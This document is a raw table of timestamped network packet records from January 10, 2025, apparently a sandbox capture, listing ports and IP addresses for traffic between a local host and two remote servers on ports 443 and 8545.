Jan 10, 2025 20:49:32.173203945 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.173217058 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.173232079 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.173337936 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:32.173615932 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:32.175010920 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:32.175349951 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:32.175493002 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:32.387610912 CET	443	49705	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.387640953 CET	443	49705	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.387717962 CET	49705	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.387746096 CET	443	49705	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.388256073 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.388340950 CET	443	49710	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.388535023 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:32.388591051 CET	443	49711	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.388859034 CET	49710	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.388875961 CET	443	49710	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.388904095 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.388915062 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.388936043 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.389055967 CET	49711	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.389086962 CET	443	49711	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.389246941 CET	443	49710	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.389422894 CET	443	49711	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.389539003 CET	49710	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.389605045 CET	443	49710	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.389838934 CET	49711	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.389897108 CET	443	49711	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.390054941 CET	49710	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.390235901 CET	49711	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.392527103 CET	443	49705	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.392594099 CET	49705	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.392601967 CET	443	49705	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.393455982 CET	443	49705	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.393517017 CET	49705	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.393528938 CET	443	49705	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.394371986 CET	443	49705	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.394428968 CET	49705	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.394444942 CET	443	49705	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.397701979 CET	443	49705	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.397757053 CET	49705	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.397779942 CET	443	49705	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.431328058 CET	443	49711	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.435327053 CET	443	49710	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.450517893 CET	49705	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.487153053 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.487618923 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:32.492468119 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.519646883 CET	443	49705	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.519664049 CET	443	49705	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.519788027 CET	49705	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.519819021 CET	443	49705	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.519927025 CET	443	49705	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.519974947 CET	49705	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.519982100 CET	443	49705	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.520004988 CET	443	49705	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.520045042 CET	49705	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.520288944 CET	49705	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.520303965 CET	443	49705	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.522454023 CET	49718	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.522510052 CET	443	49718	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.522577047 CET	49718	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.522877932 CET	49719	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.522912979 CET	443	49719	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.522960901 CET	49719	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.523299932 CET	49720	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.523336887 CET	443	49720	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.523396015 CET	49720	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.523554087 CET	49718	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.523575068 CET	443	49718	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.523803949 CET	49719	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.523814917 CET	443	49719	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.524025917 CET	49720	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.524040937 CET	443	49720	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.544074059 CET	443	49716	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.544353008 CET	49716	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.544373035 CET	443	49716	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.545419931 CET	443	49716	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.545521975 CET	49716	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.546036005 CET	49716	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.546091080 CET	443	49716	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.547008038 CET	49716	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.547020912 CET	443	49716	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.547888041 CET	443	49717	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.548233032 CET	49717	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.548238993 CET	443	49717	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.549252033 CET	443	49717	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.549294949 CET	49717	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.549809933 CET	49717	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.549855947 CET	443	49717	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.550713062 CET	49717	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.550720930 CET	443	49717	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.551095963 CET	49721	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.551140070 CET	443	49721	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.551198959 CET	49721	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.551436901 CET	49721	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.551449060 CET	443	49721	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.583015919 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.585848093 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:32.585848093 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:32.590600967 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.590759039 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.591737986 CET	49716	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.592194080 CET	49717	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.702383995 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.702404976 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.702501059 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:32.702800035 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.702822924 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.702836037 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.702863932 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:32.703119993 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.703133106 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.703145027 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.703162909 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:32.703380108 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:32.703547001 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.703558922 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.703579903 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.703591108 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.703600883 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:32.703605890 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.703692913 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:32.704364061 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.705769062 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:32.719578028 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:32.719810009 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:32.724427938 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.724570990 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.740709066 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:32.745541096 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.748325109 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:32.748480082 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:32.753220081 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.774149895 CET	443	49710	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.774172068 CET	443	49710	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.774240017 CET	443	49710	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.774252892 CET	49710	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.774303913 CET	49710	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.774873972 CET	49710	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.774887085 CET	443	49710	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.775317907 CET	49724	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.775369883 CET	443	49724	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.776283979 CET	49724	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.776727915 CET	49724	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.776748896 CET	443	49724	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.777750969 CET	443	49711	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.777772903 CET	443	49711	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.777846098 CET	49711	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.777863026 CET	443	49711	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.777985096 CET	49725	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.778009892 CET	443	49725	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.778063059 CET	49725	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.778269053 CET	49725	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.778276920 CET	443	49725	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.830750942 CET	49711	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.865032911 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.904119968 CET	443	49711	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.904131889 CET	443	49711	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.904257059 CET	49711	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.904861927 CET	443	49711	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.904870033 CET	443	49711	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.905039072 CET	49711	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.905364990 CET	443	49711	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.905373096 CET	443	49711	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.905436039 CET	49711	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.906055927 CET	443	49711	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.906119108 CET	49711	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.906131983 CET	443	49711	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.906145096 CET	443	49711	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.906178951 CET	49711	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.906218052 CET	49711	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.906347990 CET	49711	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.906347990 CET	49711	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.906364918 CET	443	49711	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.908385038 CET	49711	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.911473036 CET	49726	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.911504984 CET	443	49726	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.911703110 CET	49726	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.911887884 CET	49726	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.911906004 CET	443	49726	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.922714949 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:32.927434921 CET	443	49716	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.927521944 CET	443	49716	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.927825928 CET	49716	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.928347111 CET	49716	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.928380966 CET	443	49716	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.934171915 CET	443	49717	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.934204102 CET	443	49717	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.934211969 CET	443	49717	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.934276104 CET	49717	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:32.934309006 CET	443	49717	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:32.988724947 CET	49717	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.062144995 CET	443	49717	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.062176943 CET	443	49717	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.062195063 CET	443	49717	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.062227964 CET	49717	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.062278032 CET	49717	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.062510967 CET	443	49717	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.062530041 CET	443	49717	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.062570095 CET	49717	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.062593937 CET	49717	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.063199043 CET	443	49717	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.063220024 CET	443	49717	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.063283920 CET	49717	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.063302994 CET	49717	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.064028978 CET	443	49717	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.064101934 CET	49717	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.189277887 CET	443	49717	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.189402103 CET	49717	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.189929962 CET	443	49717	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.190020084 CET	49717	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.190577030 CET	443	49717	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.190640926 CET	49717	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.191639900 CET	443	49717	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.191709042 CET	49717	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.191740990 CET	443	49717	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.191807032 CET	49717	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.192406893 CET	443	49717	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.192477942 CET	49717	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.192488909 CET	443	49717	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.192596912 CET	443	49717	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.192650080 CET	49717	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.194057941 CET	49717	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.194072962 CET	443	49717	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.215569019 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:33.215595961 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:33.215606928 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:33.215619087 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:33.215655088 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:33.215661049 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:33.215713978 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:33.216198921 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:33.216236115 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:33.216358900 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:33.219101906 CET	443	49720	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.219557047 CET	49720	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.219574928 CET	443	49720	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.221023083 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:33.221035004 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:33.221159935 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:33.221276999 CET	443	49718	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.222024918 CET	49718	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.222044945 CET	443	49718	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.222372055 CET	443	49718	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.222707987 CET	49718	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.222765923 CET	443	49718	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.222776890 CET	49718	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.223109007 CET	443	49720	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.223381996 CET	49720	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.224670887 CET	49720	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.224793911 CET	49720	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.224800110 CET	443	49720	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.224842072 CET	443	49720	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.230150938 CET	443	49719	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.230639935 CET	49719	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.230664015 CET	443	49719	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.231024027 CET	443	49719	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.231426954 CET	49719	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.231494904 CET	443	49719	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.231564999 CET	49719	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.263331890 CET	443	49718	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.274749041 CET	49720	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.274764061 CET	443	49720	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.274775982 CET	49718	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.274795055 CET	49719	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.274815083 CET	443	49719	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.285206079 CET	443	49721	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.285423040 CET	49721	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.285435915 CET	443	49721	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.286674976 CET	443	49721	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.286735058 CET	49721	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.287019014 CET	49721	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.287094116 CET	443	49721	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.287149906 CET	49721	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.318219900 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:33.318475962 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:33.322721958 CET	49720	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.323291063 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:33.327333927 CET	443	49721	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.338736057 CET	49721	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.338752985 CET	443	49721	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.386723995 CET	49721	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.412333012 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:33.413928986 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:33.418939114 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:33.488177061 CET	443	49725	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.488502026 CET	49725	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.488523960 CET	443	49725	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.488874912 CET	443	49725	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.489300966 CET	49725	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.489351034 CET	443	49725	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.489450932 CET	49725	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.493159056 CET	443	49724	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.493341923 CET	49724	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.493362904 CET	443	49724	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.494374037 CET	443	49724	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.494431019 CET	49724	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.494697094 CET	49724	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.494748116 CET	443	49724	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.494785070 CET	49724	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.517410994 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:33.535325050 CET	443	49725	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.539330006 CET	443	49724	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.545732021 CET	49724	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.545742989 CET	443	49724	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.561741114 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:33.593744993 CET	49724	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.600303888 CET	443	49720	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.600334883 CET	443	49720	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.600343943 CET	443	49720	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.600372076 CET	443	49720	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.600418091 CET	49720	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.600439072 CET	443	49720	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.600462914 CET	49720	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.615813017 CET	443	49719	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.615840912 CET	443	49719	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.615901947 CET	49719	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.615914106 CET	443	49719	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.615959883 CET	49719	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.616405010 CET	49719	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.616419077 CET	443	49719	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.618880033 CET	49727	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.618910074 CET	443	49727	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.618989944 CET	49727	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.619214058 CET	49727	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.619225025 CET	443	49727	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.636250019 CET	443	49726	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.636492014 CET	49726	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.636519909 CET	443	49726	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.636868000 CET	443	49726	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.637161016 CET	49726	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.637212992 CET	443	49726	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.637339115 CET	49726	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.638820887 CET	443	49718	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.638847113 CET	443	49718	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.638854980 CET	443	49718	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.638874054 CET	443	49718	200.111.89.45	192.168.2.17
